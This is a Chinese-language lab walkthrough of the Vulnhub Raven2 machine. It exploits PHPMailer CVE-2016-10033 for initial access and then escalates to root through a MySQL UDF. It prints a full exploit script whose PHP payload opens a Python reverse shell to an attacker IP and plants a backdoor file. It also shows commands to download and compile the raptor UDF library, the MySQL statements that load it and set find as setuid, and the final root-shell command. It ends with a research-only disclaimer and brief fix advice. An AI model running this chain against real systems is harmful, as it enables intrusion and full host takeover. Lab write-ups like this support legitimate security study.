0x00前言
后面发现图床失效了 我去找了一些其他师傅的图
也是在一个靶机发现的,所以想来了解一下,后面有机会专门学习一下mysql提权相关漏洞
0x01漏洞原理
udf(user defined funtion),用户自定义函数。顾名思义,通过让用户自定义函数,来对mysql的功能进行扩充。udf提权将构造好的udf文件上传到指定目录(mysql<5.1,放置于c:windowssystem32目录。mysql>5.1,放置于mysql安装目录下的libplugin目录下,此文件夹默认不存在,需要自己创建),然后创建自定义函数,执行命令。
这篇文章进行了原理分析:https://iassas.com/archives/438a17c4.html
0x02环境利用
2.1靶机搭建
靶机下载地址:https://download.vulnhub.com/raven/Raven2.ova
下载好后用vm打开即可
2.2信息收集
直接访问80端口
没啥发现,扫一下目录
有个备份文件,但是没啥用,然后在vendor目录找到很多东西
找到第一个flag,同时网站的默认目录依旧是/var/www/html
在version里面发现php版本为5.2.16
CVE 2016-10033提权利用
然后在SECURITY.md
发现满足这个版本的漏洞CVE-2016-10033
去了解了一下这个漏洞,发现是关于WordPress的一个漏洞
我们直接msf搜下利用的exp
把主要代码拿出来修改运行
# Exploit Title: PHPMailer Exploit v1.0
# Date: 29/12/2016
# Exploit Author: Daniel aka anarc0der
# Version: PHPMailer < 5.2.18
# Tested on: Arch Linux
# CVE : CVE 2016-10033
# -*- coding: utf-8 -*-
from requests_toolbelt import MultipartEncoder
import requests
import os
import base64
from lxml import html as lh
os.system('clear')
target = 'http://192.168.205.130/contact.php'
backdoor = '/backdoor.php'
payload = '<?php system(\'python -c """import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\'192.168.205.131\\\',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"])"""\'); ?>'
fields={'action': 'submit',
'name': payload,
'email': '"anarcoder\\\" -OQueueDirectory=/tmp -X/var/www/html/m1.php server\" @protonmail.com',
'message': 'Pwned'}
m = MultipartEncoder(fields=fields,
boundary='----WebKitFormBoundaryzXJpHSq4mNy35tHe')
headers={'User-Agent': 'curl/7.47.0',
'Content-Type': m.content_type}
proxies = {'http': 'localhost:8081', 'https':'localhost:8081'}
print('[+] SeNdiNG eVIl SHeLL To TaRGeT....')
r = requests.post(target, data=m.to_string(),
headers=headers)
print('[+] SPaWNiNG eVIL sHeLL..... bOOOOM :D')
r = requests.get(target+backdoor, headers=headers)
if r.status_code == 200:
print('[+] ExPLoITeD ' + target)
运行成功之后,访问我们的后门文件,本地监听即可
成功弹成功,python2弹个交互shell
python -c'import pty;pty.spawn("/bin/bash")'
falg2在网站目录下,flag3是一张图片,这里就不贴图了
因为我们是学习mysql的udf提权,所以这里直奔主题
UDF提权
然后在wp-config.php中找到数据库账号密码
我们来看看mysql的运行权限
ps -ef|grep mysql
发现是root权限,我们直接找udf提权的exp就行
wget https://www.exploit-db.com/download/1518
mv 1518 raptor_udf.c
gcc -g -c raptor_udf.c
gcc -g -shared -o raptor_udf.so raptor_udf.o -lc
mv raptor_udf.so eseudf.so
然后编译好上传进行提权就行
scp kali@192.168.205.131:/home/kali/Desktop/CVE-2016-6662/eseudf.so /tmp
然后进行提权准备
mysql> use mysql;
use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> create table foo(line blob);
create table foo(line blob);
Query OK, 0 rows affected (0.00 sec)
mysql> insert into foo values(load_file('/tmp/eseudf.so'));
insert into foo values(load_file('/tmp/eseudf.so'));
Query OK, 1 row affected (0.00 sec)
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/eseudf.so';
select * from foo into dumpfile '/usr/lib/mysql/plugin/eseudf.so';
Query OK, 1 row affected (0.00 sec)
mysql> create function do_system returns integer soname 'eseudf.so';
create function do_system returns integer soname 'eseudf.so';
Query OK, 0 rows affected (0.00 sec)
mysql> select * from mysql.func;
select * from mysql.func;
+-----------+-----+-----------+----------+
| name | ret | dl | type |
+-----------+-----+-----------+----------+
| do_system | 2 | eseudf.so | function |
+-----------+-----+-----------+----------+
1 row in set (0.00 sec)
mysql> select do_system('chmod u+s /usr/bin/find');
select do_system('chmod u+s /usr/bin/find');
+--------------------------------------+
| do_system('chmod u+s /usr/bin/find') |
+--------------------------------------+
| 0 |
+--------------------------------------+
1 row in set (0.00 sec)
mysql> exit;
出来之后直接提权就行
find / -exec "/bin/sh" \;
成功通关
修复建议
- 确保MySQL配置文件不在mysql用户手中,并建立root权限、不使用的、伪装的my.cnf文件
- 目前厂商已经发布了升级补丁以修复此安全问题,下载补丁修补
参考连接
声明:本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担! 本网站采用BY-NC-SA协议进行授权!转载请注明文章来源! 图片失效请留言通知博主及时更改!